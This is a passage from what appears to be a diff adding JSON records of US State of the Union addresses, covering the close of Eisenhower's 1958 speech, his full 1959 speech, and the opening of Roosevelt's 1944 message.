scientific cooperation.It is wasteful in the extreme for friendly allies to consume talent and\nmoney in solving problems that their friends have already solved--all\nbecause of artificial barriers to sharing. We cannot afford to cut\nourselves off from the brilliant talents and minds of scientists in\nfriendly countries. The task ahead will be hard enough without handcuffs of\nour own making.The groundwork for this kind of cooperation has already been laid in\ndiscussions among NATO countries. Promptness in following through with\nlegislation will be the best possible evidence of American unity of purpose\nin cooperating with our friends.6. EDUCATION AND RESEARCHSixth: In the area of education and research, I recommend a balanced\nprogram to improve our resources, involving an investment of about a\nbillion dollars over a four year period. This involves new activities by\nthe Department of Health, Education and Welfare designed principally to\nencourage improved teaching quality and student opportunities in the\ninterests of national security. It also provides a five-fold increase in\nsums available to the National Science Foundation for its special\nactivities in stimulating and improving science education.Scrupulous attention has been paid to maintaining local control of\neducational policy, spurring the maximum amount of local effort, and to\navoiding undue stress on the physical sciences at the expense of other\nbranches of learning.In the field of research, I am asking for substantial increases in basic\nresearch funds, including a doubling of the funds available to the National\nScience Foundation for this purpose.But Federal action can do only a part of the job. In both education and\nresearch, redoubled exertions will be necessary on the part of all\nAmericans if we are to rise to the demands of our times. This means hard\nwork on the part of state and local governments, private industry, schools\nand colleges, private organizations and foundations, teachers, parents,\nand--perhaps most important of all--the student himself, with his bag of\nbooks and his homework.With this kind of all-inclusive campaign, I have no doubt that we can\ncreate the intellectual capital we need for the years ahead, invest it in\nthe right places--and do all this, not as regimented pawns, but as free men\nand women!7. SPENDING AND SAVINGSeventh: To provide for this extra effort for security, we must apply stern\ntests of priority to other expenditures, both military and civilian. This\nextra effort involves, most immediately, the need for a supplemental\ndefense appropriation of $1.3 billion for fiscal year 1958.In the 1959 budget, increased expenditures for missiles, nuclear ships,\natomic energy, research and development, science and education, a special\ncontingency fund to deal with possible new technological discoveries, and\nincreases in pay and incentives to obtain and retain competent manpower add\nup to a total increase over the comparable figures in the 1957 budget of\nabout $4 billion.I believe that, in spite of these necessary increases, we should strive to\nfinance the 1959 security effort out of expected revenues. While we now\nbelieve that expected revenues and expenditures will roughly balance, our\nreal purpose will be to achieve adequate security, but always with the\nutmost regard for efficiency and careful management.This purpose will require the cooperation of Congress in making careful\nanalysis of estimates presented, reducing expenditure on less essential\nmilitary programs and installations, postponing some new civilian programs,\ntransferring some to the states, and curtailing or eliminating others.Such related matters as the national debt ceiling and tax revenues will be\ndealt with in later messages.8. WORKS OF PEACEMy last call for action is not primarily addressed to the Congress and\npeople of the United States. Rather, it is a message from the people of the\nUnited States to all other peoples, especially those of the Soviet Union.This is the spirit of what we would like to say:\"In the last analysis, there is only one solution to the grim problems that\nlie ahead. The world must stop the present plunge toward more and more\ndestructive weapons of war, and turn the corner that will start our steps\nfirmly on the path toward lasting peace.\"Our greatest hope for success lies in a universal fact: the people of the\nworld, as people, have always wanted peace and want peace now.\"The problem, then, is to find a way of translating this universal desire\ninto action.\"This will require more than words of peace. It requires works of peace.\"Now, may I try to give you some concrete examples of the kind of works of\npeace that might make a beginning in the new direction.For a start our people should learn to know each other better. Recent\nnegotiations in Washington have provided a basis in principle for greater\nfreedom of communication and exchange of people. I urge the Soviet\ngovernment to cooperate in turning principle into practice by prompt and\ntangible actions that will break down the unnatural barriers that have\nblocked the flow of thought and understanding between our people.Another kind of work of peace is cooperation on projects of human welfare.\nFor example, we now have it within our power to eradicate from the face of\nthe earth that age-old scourge of mankind: malaria. We are embarking with\nother nations in an all-out five-year campaign to blot out this curse\nforever. We invite the Soviets to join with us in this great work of\nhumanity.Indeed, we would be willing to pool our efforts with the Soviets in other\ncampaigns against the diseases that are the common enemy of all\nmortals--such as cancer and heart disease.If people can get together on such projects, is it not possible that we\ncould then go on to a full-scale cooperative program of Science for Peace?We have as a guide and inspiration the success of our Atoms-for-Peace\nproposal, which in only a few years, under United Nations auspices, became\na reality in the International Atomic Energy Agency.A program of Science for Peace might provide a means of funneling into one\nplace the results of research from scientists everywhere and from there\nmaking it available to all parts of the world.There is almost no limit to the human betterment that could result from\nsuch cooperation. Hunger and disease could increasingly be driven from the\nearth. The age-old dream of a good life for all could, at long last, be\ntranslated into reality.But of all the works of peace, none is more needed now than a real first\nstep toward disarmament.Last August the United Nations General Assembly, by an overwhelming vote,\napproved a disarmament plan that we and our allies sincerely believed to be\nfair and practical. The Soviets have rejected both the plan, and the\nnegotiating procedure set up by the United Nations. As a result,\nnegotiation on this supremely important issue is now at a stand-still.But the world cannot afford to stand still on disarmament! We must never\ngive up the search for a basis of agreement.Our allies from time to time develop differing ideas on how to proceed. We\nmust concert these convictions among ourselves. Thereafter, any reasonable\nproposal that holds promise for disarmament and reduction of tension must\nbe heard, discussed, and, if possible, negotiated.But a disarmament proposal, to hold real promise, must at the minimum have\none feature: reliable means to ensure compliance by all. It takes actions\nand demonstrated integrity on both sides to create and sustain confidence.\nAnd confidence in a genuine disarmament agreement is vital, not only to the\nsigners of the agreement, but also to the millions of people all over the\nworld who are weary of tensions and armaments.I say once more, to all peoples, that we will always go the extra mile with\nanyone on earth if it will bring us nearer a genuine peace.CONCLUSIONThese, then, are the ways in which we must funnel our energies more\nefficiently into the task of advancing security and peace.These actions demand and expect two things of the American people:\nsacrifice, and a high degree of understanding. For sacrifice to be\neffective it must be intelligent. Sacrifice must be made for the right\npurpose and in the right place--even if that place happens to come close to\nhome!After all, it is no good demanding sacrifice in general terms one day, and\nthe next day, for local reasons, opposing the elimination of some unneeded\nFederal facility.It is pointless to condemn Federal spending in general, and the next moment\ncondemn just as strongly an effort to reduce the particular Federal grant\nthat touches one's own interest.And it makes no sense whatever to spend additional billions on military\nstrength to deter a potential danger, and then, by cutting aid and trade\nprograms, let the world succumb to a present danger in economic guise.My friends of the Congress: The world is waiting to see how wisely and\ndecisively a free representative government will now act.I believe that this Congress possesses and will display the wisdom promptly\nto do its part in translating into law the actions demanded by our nation's\ninterests. But, to make law effective, our kind of government needs the\nfull voluntary support of millions of Americans for these actions.I am fully confident that the response of the Congress and of the American\npeople will make this time of test a time of honor. Mankind then will see\nmore clearly than ever that the future belongs, not to the concept of the\nregimented atheistic state, but to the people--the God-fearing,\npeace-loving people of all the world.", 
+    "name": "Dwight D. Eisenhower"
+}
\ No newline at end of file
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+{
+    "date": "January 9, 1959", 
+    "speech": "Mr. President, Mr. Speaker, Members of the 86th Congress, my fellow\ncitizens:This is the moment when Congress and the Executive annually begin their\ncooperative work to build a better America.One basic purpose unites us: To promote strength and security, side by side\nwith liberty and opportunity.As we meet today, in the 170th year of the Republic, our Nation must\ncontinue to provide--as all other free governments have had to do\nthroughout time--a satisfactory answer to a question as old as history. It\nis: Can Government based upon liberty and the God-given rights of man,\npermanently endure when ceaselessly challenged by a dictatorship, hostile\nto our mode of life, and controlling an economic and military power of\ngreat and growing strength?For us the answer has always been found, and is still found in the\ndevotion, the vision, the courage and the fortitude of our people.Moreover, this challenge we face, not as a single powerful nation, but as\none that has in recent decades reached a position of recognized leadership\nin the Free World.We have arrived at this position of leadership in an era of remarkable\nproductivity and growth. It is also a time when man's power of mass\ndestruction has reached fearful proportions.Possession of such capabilities helps create world suspicion and tension.\nWe, on our part, know that we seek only a just peace for all, with\naggressive designs against no one. Yet we realize that there is uneasiness\nin the world because of a belief on the part of peoples that through\narrogance, miscalculation or fear of attack, catastrophic war could be\nlaunched. Keeping the peace in today's world more than ever calls for the\nutmost in the nation's resolution, wisdom, steadiness and unremitting\neffort.We cannot build peace through desire alone. Moreover, we have learned the\nbitter lesson that international agreements, historically considered by us\nas sacred, are regarded in Communist doctrine and in practice to be mere\nscraps of paper. The most recent proof of their disdain of international\nobligations, solemnly undertaken, is their announced intention to abandon\ntheir responsibilities respecting Berlin.As a consequence, we can have no confidence in any treaty to which\nCommunists are a party except where such a treaty provides within itself\nfor self-enforcing mechanisms. Indeed, the demonstrated disregard of the\nCommunists of their own pledges is one of the greatest obstacles to success\nin substituting the Rule of Law for rule by force.Yet step by step we must strengthen the institutions of peace--a peace that\nrests upon justice--a peace that depends upon a deep knowledge and dear\nunderstanding by all peoples of the cause and consequences of possible\nfailure in this great purpose.To achieve this peace we seek to prevent war at any place and in any\ndimension. If, despite our best efforts, a local dispute should flare into\narmed hostilities, the next problem would be to keep the conflict from\nspreading, and so compromising freedom. In support of these objectives we\nmaintain forces of great power and flexibility.Our formidable air striking forces are a powerful deterrent to general war.\nLarge and growing portions of these units can depart from their bases in a\nmatter of minutes.Similar forces are included in our naval fleets.Ground and other tactical formations can move with swiftness and precision,\nwhen requested by friendly and responsible governments, to help curb\nthreatened aggression. The stabilizing influence of this capacity has been\ndramatically demonstrated more than once over the past year.Our military and related scientific progress has been highly gratifying.Great strides have been made in the development of ballistic missiles.\nIntermediate range missiles are now being deployed in operational units.\nThe Arias intercontinental ballistic missile program has been marked by\nrapid development as evidenced by recent successful tests. Missile training\nunits have been established and launching sites are far along in\nconstruction.New aircraft that fly at twice the speed of sound are entering our\nsquadrons.We have successfully placed five satellites in orbit, which have gathered\ninformation of scientific importance never before available. Our latest\nsatellite illustrates our steady advance in rocketry and foreshadows new\ndevelopments in world-wide communications.Warning systems constantly improve.Our atomic submarines have shattered endurance records and made historic\nvoyages under the North Polar Sea.A major segment of our national scientific and engineering community is\nworking intensively to achieve new and greater developments. Advance in\nmilitary technology requires adequate financing but, of course, even more,\nit requires talent and time.All this is given only as a matter of history; as a record of our progress\nin space and ballistic missile fields in no more than four years of\nintensive effort. At the same time we clearly recognize that some of the\nrecent Soviet accomplishments in this particular technology are indeed\nbrilliant.Under the law enacted last year the Department of Defense is being\nreorganized to give the Secretary of Defense full authority over the\nmilitary establishment. Greater efficiency, more cohesive effort and\nspeedier reaction to emergencies are among the many advantages we are\nalready noting from these changes.These few highlights point up our steady military gains. We are rightfully\ngratified by the achievements they represent. But we must remember that\nthese imposing armaments are purchased at great cost.National Security programs account for nearly sixty percent of the entire\nFederal budget for this coming fiscal year.Modern weapons are exceedingly expensive.The overall cost of introducing ATLAS into our armed forces will average\n$35 million per missile on the firing line.This year we are investing an aggregate of close to $7 billion in missile\nprograms alone.Other billions go for research, development, test and evaluation of new\nweapons systems.Our latest atomic submarines will cost $50 millions each, while some\nspecial types will cost three times as much.We are now ordering fighter aircraft which are priced at fifty times as\nmuch as the fighters of World War II.We are buying certain bombers that cost their weight in gold.These sums are tremendous, even when compared with the marvelous resiliency\nand capacity of our economy.Such expenditures demand both balance and perspective in our planning for\ndefense. At every turn, we must weigh, judge and select. Needless\nduplication of weapons and forces must be avoided.We must guard against feverish building of vast armaments to meet glibly\npredicted moments of so-called \"maximum peril.\" The threat we face is not\nsporadic or dated: It is continuous. Hence we must not be swayed in our\ncalculations either by groundless fear or by complacency. We must avoid\nextremes, for vacillation between extremes is inefficient, costly, and\ndestructive of morale. In these days of unceasing technological advance, we\nmust plan our defense expenditures systematically and with care, fully\nrecognizing that obsolescence compels the never-ending replacement of older\nweapons with new ones.The defense budget for the coming year has been planned on the basis of\nthese principles and considerations. Over these many months I have\npersonally participated in its development.The aim is a sensible posture of defense. The secondary aim is increased\nefficiency and avoidance of waste. Both are achieved by this budgetary\nplan.Working by these guide lines I believe with all my heart that America can\nbe as sure of the strength and efficiency of her armed forces as she is of\ntheir loyalty. I am equally sure that the nation will thus avoid useless\nexpenditures which, in the name of security, might tend to undermine the\neconomy and, therefore, the nation's safety.Our own vast strength is only a part of that required for dependable\nsecurity. Because of this we have joined with nearly 50 other nations in\ncollective security arrangements. In these common undertakings each nation\nis expected to contribute what it can in sharing the heavy load. Each\nsupplies part of a strategic deployment to protect the forward boundaries\nof freedom.Constantly we seek new ways to make more effective our contribution to this\nsystem of collective security. Recently I have asked a Committee of eminent\nAmericans of both parties to re-appraise our military assistance programs\nand the relative emphasis which should be placed on military and economic\naid.I am hopeful that preliminary recommendations of this Committee will be\navailable in time to assist in shaping the Mutual Security program for the\ncoming fiscal year.Any survey of the free world's defense structure cannot fail to impart a\nfeeling of regret that so much of our effort and resources must be devoted\nto armaments. At Geneva and elsewhere we continue to seek technical and\nother agreements that may help to open up, with some promise, the issues of\ninternational disarmament. America will never give up the hope that\neventually all nations can, with mutual confidence, drastically reduce\nthese non-productive expenditures. II.The material foundation of our national safety is a strong and expanding\neconomy. This we have--and this we must maintain. Only with such an economy\ncan we be secure and simultaneously provide for the well-being of our\npeople.A year ago the nation was experiencing a decline in employment and output.\nToday that recession is fading into history, and this without gigantic,\nhastily-improvised public works projects or untimely tax reductions. A\nhealthy and vigorous recovery has been under way since last May. New homes\nare being built at the highest rate in several years. Retail sales are at\npeak levels. Personal income is at an all-time high.The marked forward thrust of our economy reaffirms our confidence in\ncompetitive enterprise. But--clearly--wisdom and prudence in both the\npublic and private sectors of the economy are always necessary.Our outlook is this: 1960 commitments for our armed forces, the Atomic\nEnergy Commission and Military Assistance exceed 47 billion dollars. In the\nforeseeable future they are not likely to be significantly lower. With an\nannual population increase of three million, other governmental costs are\nbound to mount.After we have provided wisely for our military strength, we must judge how\nto allocate our remaining government resources most effectively to promote\nour well-being and economic growth.Federal programs that will benefit all citizens are moving forward.Next year we will be spending increased amounts on health programs; on\nFederal assistance to science and education; on the development of the\nnation's water resources; on the renewal of urban areas; and on our vast\nsystem of Federal-aid highways.Each of these additional outlays is being made necessary by the surging\ngrowth of America.Let me illustrate. Responsive to this growth, Federal grants and long term\nloans to assist 14 major types of capital improvements in our cities will\ntotal over 2 billion dollars in 1960--double the expenditure of two years\nago. The major responsibility for development in these fields rests in the\nlocalities, even though the Federal Government will continue to do its\nproper part in meeting the genuine needs of a burgeoning population.But the progress of our economy can more than match the growth of our\nneeds. We need only to act wisely and confidently.Here, I hope you will permit me to digress long enough to express something\nthat is much on my mind.The basic question facing us today is more than mere survival--the military\ndefense of national life and territory. It is the preservation of a way of\nlife.We must meet the world challenge and at the same time permit no stagnation\nin America.Unless we progress, we regress.We can successfully sustain security and remain true to our heritage of\nfreedom if we clearly visualize the tasks ahead and set out to perform them\nwith resolution and fervor. We must first define these tasks and then\nunderstand what we must do to perform them.If progress is to be steady we must have long term guides extending far\nahead, certainly five, possibly even ten years. They must reflect the\nknowledge that before the end of five years we will have a population of\nover 190 million. They must be goals that stand high, and so inspire every\ncitizen to climb always toward mounting levels of moral, intellectual and\nmaterial strength. Every advance toward them must stir pride in individual\nand national achievements.To define these goals, I intend to mobilize help from every available\nsource.We need more than politically ordained national objectives to challenge the\nbest efforts of free men and women. A group of selfless and devoted\nindividuals, outside of government, could effectively participate in making\nthe necessary appraisal of the potentials of our future. The result would\nbe establishment of national goals that would not only spur us on to our\nfinest efforts, but would meet the stern test of practicality.The Committee I plan will comprise educators and representatives of labor,\nmanagement, finance, the professions and every other kind of useful\nactivity.Such a study would update and supplement, in the light of continuous\nchanges in our society and its economy, the monumental work of the\nCommittee on Recent Social Trends which was appointed in 1931 by President\nHoover. Its report has stood the test of time and has had a beneficial\ninfluence on national development. The new Committee would be concerned,\namong other things, with the acceleration of our economy's growth and the\nliving standards of our people, their health and education, their better\nassurance of life and liberty and their greater opportunities. It would\nalso be concerned with methods to meet such goals and what levels of\ngovernment--Local, State, or Federal--might or should be particularly\nconcerned.As one example, consider our schools, operated under the authority of local\ncommunities and states. In their capacity and in their quality they conform\nto no recognizable standards. In some places facilities are ample, in\nothers meager. Pay of teachers ranges between wide limits, from the\nadequate to the shameful. As would be expected, quality of teaching varies\njust as widely. But to our teachers we commit the most valuable possession\nof the nation and of the family--our children.We must have teachers of competence. To obtain and hold them we need\nstandards. We need a National Goal. Once established I am certain that\npublic opinion would compel steady progress toward its accomplishment.Such studies would be helpful, I believe, to government at all levels and\nto all individuals. The goals so established could help us see our current\nneeds in perspective. They will spur progress.We do not forget, of course, that our nation's progress and fiscal\nintegrity are interdependent and inseparable. We can afford everything we\nclearly need, but we cannot afford one cent of waste. We must examine every\nitem of governmental expense critically. To do otherwise would betray our\nnation's future. Thrift is one of the characteristics that has made this\nnation great. Why should we ignore it now?We must avoid any contribution to inflationary processes, which could\ndisrupt sound growth in our economy.Prices have displayed a welcome stability in recent months and, if we are\nwise and resolute, we will not tolerate inflation in the years to come. But\nhistory makes clear the risks inherent in any failure to deal firmly with\nthe .basic causes of inflation. Two of the most important of these causes\nare the wage-price spiral and continued deficit financing.Inflation would reduce job opportunities, price us out of world markets,\nshrink the value of savings and penalize the thrift so essential to finance\na growing economy.Inflation is not a Robin Hood, taking from the rich to give to the poor.\nRather, it deals most cruelly with those who can least protect themselves.\nIt strikes hardest those millions of our citizens whose incomes do not\nquickly rise with the cost of living. When prices soar, the pensioner and\nthe widow see their security undermined, the man of thrift sees his savings\nmelt away; the white collar worker, the minister, and the teacher see their\nstandards of living dragged down.Inflation can be prevented. But this demands statesmanship on the part of\nbusiness and labor leaders and of government at all levels.We must encourage the self-discipline, the restraint necessary to curb the\nwage-price spiral and we must meet current costs from current revenue.To minimize the danger of future soaring prices and to keep our economy\nsound and expanding, I shall present to the Congress certain proposals.First, I shall submit a balanced budget for the next year, a year expected\nto be the most prosperous in our history. It is a realistic budget with\nwholly attainable objectives.If we cannot live within our means during such a time of rising prosperity,\nthe hope for fiscal integrity will fade. If we persist in living beyond our\nmeans, we make it difficult for every family in our land to balance its own\nhousehold budget. But to live within our means would be a tangible\ndemonstration of the self-discipline needed to assure a stable dollar.The Constitution entrusts the Executive with many functions, but the\nCongress--and the Congress alone--has the power of the purse. Ultimately\nupon Congress rests responsibility for determining the scope and amount of\nFederal spending.By working together, the Congress and the Executive can keep a balance\nbetween income and outgo. If this is done there is real hope that we can\nlook forward to a time in the foreseeable future when needed tax reforms\ncan be accomplished.In this hope, I am requesting the Secretary of the Treasury to prepare\nappropriate proposals for revising, at the proper time, our tax structure,\nto remove inequities and to enhance incentives for all Americans to work,\nto save, and to invest. Such recommendations will be made as soon as our\nfiscal condition permits. These prospects will be brightened if 1960\nexpenditures do not exceed the levels recommended.Second, I shall recommend to the Congress that the Chief Executive be given\nthe responsibility either to approve or to veto specific items in\nappropriations and authorization bills. This would save tax dollars.Third, to reduce Federal operations in an area where private enterprise can\ndo the job, I shall recommend legislation for greater flexibility in\nextending Federal credit, and in improving the procedures under which\nprivate credits are insured or guaranteed. Present practices have\nneedlessly added large sums to Federal expenditures.Fourth, action is required to make more effective use of the large Federal\nexpenditures for agriculture and to achieve greater fiscal control in this\narea.Outlays of the Department of Agriculture for the current fiscal year for\nthe support of farm prices on a very few farm products will exceed five\nbillion dollars. That is a sum equal to approximately two-fifths of the net\nincome of all farm operators in the entire United States.By the end of this fiscal year it is estimated that there will be in\nGovernment hands surplus farm products worth about nine billion dollars.\nAnd by July 1, 1959, Government expenditures for storage, interest, and\nhandling of its agricultural inventory will reach a rate of one billion\ndollars a year.This level of expenditure for farm products could be made willingly for a\ntemporary period if it were leading to a sound solution of the problem. But\nunfortunately this is not true. We need new legislation.In the past I have sent messages to the Congress requesting greater freedom\nfor our farmers to manage their own farms and greater freedom for markets\nto reflect the wishes of producers and consumers. Legislative changes that\nfollowed were appropriate in direction but did not go far enough.The situation calls for prompt and forthright action. Recommendation for\naction will be contained in a message to be transmitted to the Congress\nshortly.These fiscal and related actions will help create an environment of price\nstability for economic growth. However, certain additional measures are\nneeded.I shall ask Congress to amend the Employment Act of 1946 to make it clear\nthat Government intends to use all appropriate means to protect the buying\npower of the dollar.I am establishing a continuing Cabinet group on Price Stability for\nEconomic Growth to study governmental and private policies affecting costs,\nprices, and economic growth. It will strive also to build a better public\nunderstanding of the conditions necessary for maintaining growth and price\nstability.Studies are being undertaken to improve our information on prices, wages,\nand productivity.I believe all citizens in all walks of life will support this program of\naction to accelerate economic growth and promote price stability. III.I take up next certain aspects of our international situation and our\nprograms to strengthen it.America's security can be assured only within a world community strong,\nstable, independent nations, in which the concepts of freedom, justice and\nhuman dignity can flourish.There can be no such thing as Fortress America. If ever we were reduced to\nthe isolation implied by that term, we would occupy a prison, not a\nfortress. The question whether we can afford to help other nations that\nwant to defend their freedom but cannot fully do so from their own means,\nhas only one answer: we can and we must, we have been doing so since 1947.Our foreign policy has long been dedicated to building a permanent and just\npeace.During the past six years our free world security arrangements have been\nbolstered and the bonds of freedom have been more closely knit. Our friends\nin Western Europe are experiencing new internal vitality, and are\nincreasingly more able to resist external threats.Over the years the world has come to understand clearly that it is our firm\npolicy not to countenance aggression. In Lebanon, Taiwan, and Berlin--our\nstand has been dear, right, and expressive of the determined will of a\nunited people.Acting with other free nations we have undertaken the solemn obligation to\ndefend the people of free Berlin against any effort to destroy their\nfreedom. In the meantime we shall constantly seek meaningful agreements to\nsettle this and other problems, knowing full well that not only the\nintegrity of a single city, but the hope of all free peoples is at stake.We need, likewise, to continue helping to build the economic base so\nessential to the Free World's stability and strength.The International Monetary Fund and the World Bank have both fully proven\ntheir worth as instruments of international financial cooperation. Their\nExecutive Directors have recommended an increase in each member country's\nsubscription. I am requesting the Congress for immediate approval of our\nshare of these increases.We are now negotiating with representatives of the twenty Latin American\nRepublics for the creation of an inter-American financial institution. Its\npurpose would be to join all the American Republics in a common institution\nwhich would promote and finance development in Latin America, and make more\neffective the use of capital from the World Bank, the Export-Import Bank,\nand private sources.Private enterprise continues to make major contributions to economic\ndevelopment in all parts of the world. But we have not yet marshalled the\nfull potential of American business for this task, particularly in\ncountries which have recently attained their independence. I shall present\nto this Congress a program designed to encourage greater participation by\nprivate enterprise in economic development abroad.Further, all of us know that to advance the cause of freedom we must do\nmuch more than help build sound economies. The spiritual, intellectual, and\nphysical strength of people throughout the world will in the last analysis\ndetermine their willingness and their ability to resist Communism.To give a single illustration of our many efforts in these fields: We have\nbeen a participant in the effort that has been made over the past few years\nagainst one of the great scourges of mankind--disease. Through the Mutual\nSecurity program public health officials are being trained by American\nuniversities to serve in less developed countries. We are engaged in\nintensive malaria eradication projects in many parts of the world.\nAmerica's major successes in our own country prove the feasibility of\nsuccess everywhere.By these and other means we shall continue and expand our campaign against\nthe afflictions that now bring needless suffering and death to so many of\nthe world's people. We wish to be part of a great shared effort toward the\ntriumph of health. IV.America is best described by one word, freedom.If we hope to strengthen freedom in the world we must be ever mindful of\nhow our own conduct reacts elsewhere. No nation has ever been so\nfloodlighted by world opinion as the United States is today. Everything we\ndo is carefully scrutinized by other peoples throughout the world. The bad\nis seen along with the good.Because we are human we err. But as free men we are also responsible for\ncorrecting the errors and imperfections of our ways.Last January I made comprehensive recommendations to the Congress for\nlegislation in the labor-management field. To my disappointment, Congress\nfailed to act. The McClellan Committee disclosures of corruption,\nracketeering, and abuse of trust and power in labor-management affairs have\naroused America and amazed other peoples. They emphasize the need for\nimproved local law enforcement and the enactment of effective Federal\nlegislation to protect the public interest and to insure the rights and\neconomic freedoms of millions of American workers. Halfhearted measures\nwill not do. I shall recommend prompt enactment of legislation designed:To safeguard workers' funds in union treasuries against misuse of any kind\nwhatsoever.To protect the rights and freedoms of individual union members, including\nthe basic right to free and secret elections of officers.To advance true and responsible collective bargaining.To protect the public and innocent third parties from unfair and coercive\npractices such as boycotting and blackmail picketing.The workers and the public must have these vital protections.In other areas of human rights--freedom from discrimination in voting, in\npublic education, in access to jobs, and in other respects--the world is\nlikewise watching our conduct.The image of America abroad is not improved when school children, through\nclosing of some of our schools and through no fault of their own, are\ndeprived of their opportunity for an education.The government of a free people has no purpose more noble than to work for\nthe maximum realization of equality of opportunity under law. This is not\nthe sole responsibility of any one branch of our government. The judicial\narm, which has the ultimate authority for interpreting the Constitution,\nhas held that certain state laws and practices discriminate upon racial\ngrounds and are unconstitutional. Whenever the supremacy of the\nConstitution of the United States is challenged I shall continue to take\nevery action necessary to uphold it.One of the fundamental concepts of our constitutional system is that it\nguarantees to every individual, regardless of race, religion, or national\norigin, the equal protection of the laws. Those of us who are privileged to\nhold public office have a solemn obligation to make meaningful this\ninspiring objective. We can fulfill that obligation by our leadership in\nteaching, persuading, demonstrating, and in enforcing the law.We are making noticeable progress in the field of civil rights--we are\nmoving forward toward achievement of equality of opportunity for all people\neverywhere in the United States. In the interest of the nation and of each\nof its citizens, that progress must continue.Legislative proposals of the Administration in this field will be submitted\nto the Congress early in the session. All of us should help to make clear\nthat the government is united in the common purpose of giving support to\nthe law and the decisions of the Courts.By moving steadily toward the goal of greater freedom under law, for our\nown people, we shall be the better prepared to work for the cause of\nfreedom under law throughout the world.All peoples are solely tired of the fear, destruction, and the waste of\nwar. As never before, the world knows the human and material costs of war\nand seeks to replace force with a genuine role of law among nations.It is my purpose to intensify efforts during the coming two years in\nseeking ways to supplement the procedures of the United Nations and other\nbodies with similar objectives, to the end that the rule of law may replace\nthe rule of force in the affairs of nations. Measures toward this end will\nbe proposed later, including a re-examination of our own relation to the\nInternational Court of Justice.Finally--let us remind ourselves that Marxist scripture is not new; it is\nnot the gospel of the future. Its basic objective is dictatorship, old as\nhistory. What is new is the shining prospect that man can build a world\nwhere all can live in dignity.We seek victory--not over any nation or people--but over the ancient\nenemies of us all; victory over ignorance, poverty, disease, and human\ndegradation wherever they may be found.We march in the noblest of causes--human freedom.If we make ourselves worthy of America's ideals, if we do not forget that\nour nation was founded on the premise that all men are creatures of God's\nmaking, the world will come to know that it is free men who carry forward\nthe true promise of human progress and dignity.", 
+    "name": "Dwight D. Eisenhower"
+}
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+{
+    "date": "January 11, 1944", 
+    "speech": "To the Congress:This Nation in the past two years has become an active partner in the\nworld's greatest war against human slavery.We have joined with like-minded people in order to defend ourselves in a\nworld that has been gravely threatened with gangster rule.But I do not think that any of us Americans can be content with mere\nsurvival. Sacrifices that we and our allies are making impose upon us all a\nsacred obligation to see to it that out of this war we and our children\nwill gain something better than mere survival.We are united in determination that this war shall not be followed by\nanother interim which leads to new disaster--that we shall not repeat the\ntragic errors of ostrich isolationism--that we shall not repeat the excesses\nof the wild twenties when this Nation went for a joy ride on a roller\ncoaster which ended in a tragic crash.When Mr. Hull went to Moscow in October, and when I went to Cairo and\nTeheran in November, we knew that we were in agreement with our allies in\nour common determination to fight and win this war. But there were many\nvital questions concerning the future peace, and they were discussed in an\natmosphere of complete candor and harmony.In the last war such discussions, such meetings, did not even begin until\nthe shooting had stopped and the delegates began to assemble at the peace\ntable. There had been no previous opportunities for man-to-man discussions\nwhich lead to meetings of minds. The result was a peace which was not a\npeace.That was a mistake which we are not repeating in this war.And right here I want to address a word or two to some suspicious souls who\nare fearful that Mr. Hull or I have made \"commitments\" for the future which\nmight pledge this Nation to secret treaties, or to enacting the role of\nSanta Claus.To such suspicious souls--using a polite terminology--I wish to say that Mr.\nChurchill, and Marshal Stalin, and Generalissimo Chiang Kai-shek are all\nthoroughly conversant with the provisions of our Constitution. And so is\nMr. Hull. And so am I.Of course we made some commitments. We most certainly committed ourselves\nto very large and very specific military plans which require the use of all\nAllied forces to bring about the defeat of our enemies at the earliest\npossible time.But there were no secret treaties or political or financial commitments.The one supreme objective for the future, which we discussed for each\nNation individually, and for all the United Nations, can be summed up in\none word: Security.And that means not only physical security which provides safety from\nattacks by aggressors. It means also economic security, social security,\nmoral security--in a family of Nations.In the plain down-to-earth talks that I had with the Generalissimo and\nMarshal Stalin and Prime Minister Churchill, it was abundantly clear that\nthey are all most deeply interested in the resumption of peaceful progress\nby their own peoples--progress toward a better life. All our allies want\nfreedom to develop their lands and resources, to build up industry, to\nincrease education and individual opportunity, and to raise standards of\nliving.All our allies have learned by bitter experience that real development will\nnot be possible if they are to be diverted from their purpose by repeated\nwars--or even threats of war.China and Russia are truly united with Britain and America in recognition\nof this essential fact:The best interests of each Nation, large and small, demand that all\nfreedom-loving Nations shall join together in a just and durable system of\npeace. In the present world situation, evidenced by the actions of Germany,\nItaly, and Japan, unquestioned military control over disturbers of the\npeace is as necessary among Nations as it is among citizens in a community.\nAnd an equally basic essential to peace is a decent standard of living for\nall individual men and women and children in all Nations. Freedom from fear\nis eternally linked with freedom from want.There are people who burrow through our Nation like unseeing moles, and\nattempt to spread the suspicion that if other Nations are encouraged to\nraise their standards of living, our own American standard of living must\nof necessity be depressed.The fact is the very contrary. It has been shown time and again that if the\nstandard of living of any country goes up, so does its purchasing power--\nand that such a rise encourages a better standard of living in neighboring\ncountries with whom it trades. That is just plain common sense--and it is\nthe kind of plain common sense that provided the basis for our discussions\nat Moscow, Cairo, and Teheran.Returning from my journeyings, I must confess to a sense of \"let-down\" when\nI found many evidences of faulty perspective here in Washington. The faulty\nperspective consists in overemphasizing lesser problems and thereby\nunderemphasizing the first and greatest problem.The overwhelming majority of our people have met the demands of this war\nwith magnificent courage and understanding. They have accepted\ninconveniences; they have accepted hardships; they have accepted tragic\nsacrifices. And they are ready and eager to make whatever further\ncontributions are needed to win the war as quickly as possible--if only\nthey are given the chance to know what is required of them.However, while the majority goes on about its great work without complaint,\na noisy minority maintains an uproar of demands for special favors for\nspecial groups. There are pests who swarm through the lobbies of the\nCongress and the cocktail bars of Washington, representing these special\ngroups as opposed to the basic interests of the Nation as a whole. They\nhave come to look upon the war primarily as a chance to make profits for\nthemselves at the expense of their neighbors--profits in money or in terms\nof political or social preferment.Such selfish agitation can be highly dangerous in wartime. It creates\nconfusion. It damages morale. It hampers our national effort. It muddies\nthe waters and therefore prolongs the war.If we analyze American history impartially, we cannot escape the fact that\nin our past we have not always forgotten individual and selfish and\npartisan interests in time of war--we have not always been united in purpose\nand direction. We cannot overlook the serious dissensions and the lack of\nunity in our war of the Revolution, in our War of 1812, or in our War\nBetween the States, when the survival of the Union itself was at stake.In the first World War we came closer to national unity than in any\nprevious war. But that war lasted only a year and a half, and increasing\nsigns of disunity began to appear during the final months of the conflict.In this war, we have been compelled to learn how interdependent upon each\nother are all groups and sections of the population of America.Increased food costs, for example, will bring new demands for wage\nincreases from all war workers, which will in turn raise all prices of all\nthings including those things which the farmers themselves have to buy.\nIncreased wages or prices will each in turn produce the same results. They\nall have a particularly disastrous result on all fixed income groups.And I hope you will remember that all of us in this 